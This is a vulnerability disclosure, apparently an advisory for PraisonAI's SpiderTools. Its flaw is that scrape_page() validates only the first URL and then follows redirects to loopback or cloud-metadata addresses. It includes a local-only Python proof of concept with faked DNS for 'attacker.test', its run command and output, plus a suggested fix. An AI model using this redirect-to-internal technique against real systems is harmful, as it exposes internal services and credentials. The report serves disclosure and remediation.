Summary
SpiderTools.scrape_page() validates the initial URL and rejects direct loopback, private, link-local, metadata, and internal hostnames. It then calls requests.Session.get() without disabling automatic redirects or validating redirect Location targets.
Requests follows redirects by default for GET requests. A safe-looking public URL can therefore pass _validate_url(), redirect to a blocked target such as 127.0.0.1 or 169.254.169.254, and have the redirected response body parsed and returned by scrape_page().
The same sink is used by extract_links(), crawl(), and extract_text() through their calls to scrape_page().
Technical Details
Current main validates only the caller-supplied URL:
if not self._validate_url(url):
return {"error": f"Invalid or potentially dangerous URL: {url}"}
The fetch then uses Requests defaults:
response = session.get(
url,
timeout=timeout,
verify=verify_ssl
)
Because allow_redirects=False is not set, Requests follows a 3xx redirect to a new destination that has not been checked by _validate_url() or _host_is_blocked().
Why This Is Not Intended Behavior
The Spider Tools documentation says scrape_page, extract_links, crawl, and extract_text refuse dangerous URLs before network requests. The documented blocked classes include loopback, private/reserved IPs, link-local/cloud metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling forms. The same page states the validation is always on for bundled spider tools and does not require enable_security().
The current code also documents _validate_url() as URL validation "to prevent SSRF attacks." A redirect to a loopback target bypasses that documented protection.
PoV
The PoV below is local-only and does not contact external infrastructure. It starts a loopback-only internal service and a local redirector. During PraisonAI's initial host validation, attacker.test is made to look like a public address. During the actual HTTP request, it routes to the local redirector, which returns 302 Location: http://127.0.0.1:<port>/secret.
Full PoV:
#!/usr/bin/env python3
"""PoV for SpiderTools redirect-target SSRF.
This uses only loopback services. The "attacker" hostname is treated as public
during PraisonAI's initial URL validation, then routed to a local redirector so
the PoV does not contact external infrastructure. The redirector points at a
loopback-only internal service. Vulnerable behavior is confirmed when
SpiderTools follows that redirect and returns the internal response body.
"""
from __future__ import annotations
import http.server
import importlib.util
import inspect
import os
import socket
import socketserver
import threading
from typing import Any
def _load_spider_tools_class():
module_file = os.environ.get("PRAISONAI_SPIDER_TOOLS_FILE")
if module_file:
spec = importlib.util.spec_from_file_location("pov_spider_tools", module_file)
if spec is None or spec.loader is None:
raise RuntimeError(f"Could not load spider_tools file: {module_file}")
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module.SpiderTools
from praisonaiagents.tools.spider_tools import SpiderTools
return SpiderTools
class InternalHandler(http.server.BaseHTTPRequestHandler):
body = b"SPIDER-INTERNAL-SECRET"
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, *_args: Any) -> None:
return
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target = ""
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(302)
self.send_header("Location", self.target)
self.end_headers()
def log_message(self, *_args: Any) -> None:
return
def _called_from_spider_host_guard() -> bool:
return any(frame.function == "_host_is_blocked" for frame in inspect.stack())
def main() -> int:
os.environ.pop("ALLOW_LOCAL_CRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
internal.hit = False # type: ignore[attr-defined]
internal_port = internal.server_address[1]
RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
redirect.hit = False # type: ignore[attr-defined]
redirect_port = redirect.server_address[1]
threading.Thread(target=internal.serve_forever, daemon=True).start()
threading.Thread(target=redirect.serve_forever, daemon=True).start()
original_getaddrinfo = socket.getaddrinfo
def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
if host == "attacker.test":
if _called_from_spider_host_guard():
return [
(
socket.AF_INET,
socket.SOCK_STREAM,
6,
"",
("93.184.216.34", port),
)
]
return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
return original_getaddrinfo(host, port, *args, **kwargs)
tool = _load_spider_tools_class()()
socket.getaddrinfo = fake_getaddrinfo
try:
direct_control = tool.scrape_page(
f"http://127.0.0.1:{internal_port}/secret",
timeout=5,
)
redirect_result = tool.scrape_page(
f"http://attacker.test:{redirect_port}/go",
timeout=5,
)
vulnerable_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]
vulnerable_internal_hit = bool(internal.hit) # type: ignore[attr-defined]
redirect.hit = False # type: ignore[attr-defined]
internal.hit = False # type: ignore[attr-defined]
import requests
original_session_get = requests.Session.get
def no_redirect_get(self, url, **kwargs): # type: ignore[no-untyped-def]
kwargs.setdefault("allow_redirects", False)
return original_session_get(self, url, **kwargs)
requests.Session.get = no_redirect_get
try:
no_redirect_control = _load_spider_tools_class()().scrape_page(
f"http://attacker.test:{redirect_port}/go",
timeout=5,
)
finally:
requests.Session.get = original_session_get
no_redirect_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]
no_redirect_internal_hit = bool(internal.hit) # type: ignore[attr-defined]
finally:
socket.getaddrinfo = original_getaddrinfo
redirect.shutdown()
internal.shutdown()
redirect.server_close()
internal.server_close()
print("DIRECT_CONTROL:", direct_control)
print("REDIRECT_RESULT:", redirect_result)
print("REDIRECT_SERVER_HIT:", vulnerable_redirect_hit)
print("INTERNAL_SERVER_HIT:", vulnerable_internal_hit)
print("NO_REDIRECT_CONTROL:", no_redirect_control)
print("NO_REDIRECT_SERVER_HIT:", no_redirect_redirect_hit)
print("NO_REDIRECT_INTERNAL_HIT:", no_redirect_internal_hit)
if not isinstance(direct_control, dict) or "dangerous URL" not in str(direct_control):
raise SystemExit("control failed: direct loopback was not blocked")
if not isinstance(redirect_result, dict) or "error" in redirect_result:
raise SystemExit(f"bypass failed: unexpected result {redirect_result!r}")
if "SPIDER-INTERNAL-SECRET" not in str(redirect_result.get("content", "")):
raise SystemExit("bypass failed: internal body was not returned")
if not vulnerable_redirect_hit or not vulnerable_internal_hit:
raise SystemExit("bypass failed: expected local servers were not hit")
if not no_redirect_redirect_hit or no_redirect_internal_hit:
raise SystemExit("fix control failed: no-redirect mode reached internal service")
print("poc CONFIRMED: SpiderTools follows a redirect to loopback")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Run:
cd /Users/rexliu/Documents/GA\ code/REDit\ Deployment/stack/deploy
env PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \
uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \
poc_spider_tools_redirect_ssrf.py
Observed on current main:
DIRECT_CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'status_code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
NO_REDIRECT_CONTROL: {'url': 'http://attacker.test:<port>/go', 'status_code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}
NO_REDIRECT_SERVER_HIT: True
NO_REDIRECT_INTERNAL_HIT: False
poc CONFIRMED: SpiderTools follows a redirect to loopback
The direct control proves direct loopback is blocked. The redirect result proves the same blocked destination is reached through a public-looking initial URL. The no-redirect control proves that disabling automatic redirects prevents the internal request while still receiving the external redirect response.
PoC
The PoV section above contains the local reproduction command, input, and decisive output.
Impact
An attacker who can influence a URL passed to scrape_page(), extract_links(), crawl(), or extract_text() can cause the PraisonAI process to request destinations that SpiderTools is designed to block.
Potential impact includes:
- reading loopback-only HTTP services;
- probing or reading private network services reachable from the PraisonAI host;
- reading link-local/cloud metadata endpoints if reachable in the deployment environment.
The PoV demonstrates returned response-body disclosure from a loopback-only service. This report does not claim arbitrary code execution or live cloud credential theft without deployment-specific evidence.
Severity
Suggested default severity: Moderate.
CWE-918
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N = 6.5
High severity may be appropriate for deployments where untrusted users can directly invoke SpiderTools through a network-facing agent, bot, API, or MCP service and sensitive internal or metadata services are reachable.
Suggested Fix
Disable automatic redirects in scrape_page():
response = session.get(
url,
timeout=timeout,
verify=verify_ssl,
allow_redirects=False,
)
If redirects should remain supported, follow them manually and validate every Location target before each hop using the same SSRF guard:
- require
http or https;
- resolve and validate every redirect hostname;
- reject loopback, private, link-local, reserved, multicast, unspecified, internal, and metadata destinations;
- cap redirect count;
- apply the same safe fetch path to
scrape_page(), extract_links(), crawl(), and extract_text().
Regression tests should cover direct loopback rejection, public-to-loopback redirect rejection, public-to-public redirects if supported, and all scrape_page() callers.
Affected Package/Versions
src/praisonai-agents/praisonaiagents/tools/spider_tools.py
Tested affected:
v3.9.24 / d08d98ca
v3.9.26 / 62472a23
v4.6.56 / d3c4a2af
v4.6.57 / e90d92231853161ad931f3498da57651a9f8b528
- current main
2f9677abb2ea68eab864ee8b6a828fd0141612e1
No patched version is known at report time.
Advisory History
Checked visible PraisonAI advisories and prior submissions for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate is identified in this report text. Adjacent advisories, where relevant, are listed in References or discussed above.
References
Summary
SpiderTools.scrape_page()validates the initial URL and rejects direct loopback, private, link-local, metadata, and internal hostnames. It then callsrequests.Session.get()without disabling automatic redirects or validating redirectLocationtargets.Requests follows redirects by default for GET requests. A safe-looking public URL can therefore pass
_validate_url(), redirect to a blocked target such as127.0.0.1or169.254.169.254, and have the redirected response body parsed and returned byscrape_page().The same sink is used by
extract_links(),crawl(), andextract_text()through their calls toscrape_page().Technical Details
Current main validates only the caller-supplied URL:
The fetch then uses Requests defaults:
Because
allow_redirects=Falseis not set, Requests follows a 3xx redirect to a new destination that has not been checked by_validate_url()or_host_is_blocked().Why This Is Not Intended Behavior
The Spider Tools documentation says
scrape_page,extract_links,crawl, andextract_textrefuse dangerous URLs before network requests. The documented blocked classes include loopback, private/reserved IPs, link-local/cloud metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling forms. The same page states the validation is always on for bundled spider tools and does not requireenable_security().The current code also documents
_validate_url()as URL validation "to prevent SSRF attacks." A redirect to a loopback target bypasses that documented protection.PoV
The PoV below is local-only and does not contact external infrastructure. It starts a loopback-only internal service and a local redirector. During PraisonAI's initial host validation,
attacker.testis made to look like a public address. During the actual HTTP request, it routes to the local redirector, which returns302 Location: http://127.0.0.1:<port>/secret.Full PoV:
Run:
Observed on current main:
The direct control proves direct loopback is blocked. The redirect result proves the same blocked destination is reached through a public-looking initial URL. The no-redirect control proves that disabling automatic redirects prevents the internal request while still receiving the external redirect response.
PoC
The PoV section above contains the local reproduction command, input, and decisive output.
Impact
An attacker who can influence a URL passed to
scrape_page(),extract_links(),crawl(), orextract_text()can cause the PraisonAI process to request destinations that SpiderTools is designed to block.Potential impact includes:
The PoV demonstrates returned response-body disclosure from a loopback-only service. This report does not claim arbitrary code execution or live cloud credential theft without deployment-specific evidence.
Severity
Suggested default severity: Moderate.
High severity may be appropriate for deployments where untrusted users can directly invoke SpiderTools through a network-facing agent, bot, API, or MCP service and sensitive internal or metadata services are reachable.
Suggested Fix
Disable automatic redirects in
scrape_page():If redirects should remain supported, follow them manually and validate every
Locationtarget before each hop using the same SSRF guard:httporhttps;scrape_page(),extract_links(),crawl(), andextract_text().Regression tests should cover direct loopback rejection, public-to-loopback redirect rejection, public-to-public redirects if supported, and all
scrape_page()callers.Affected Package/Versions
Tested affected:
v3.9.24/d08d98cav3.9.26/62472a23v4.6.56/d3c4a2afv4.6.57/e90d92231853161ad931f3498da57651a9f8b5282f9677abb2ea68eab864ee8b6a828fd0141612e1No patched version is known at report time.
Advisory History
Checked visible PraisonAI advisories and prior submissions for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate is identified in this report text. Adjacent advisories, where relevant, are listed in References or discussed above.
References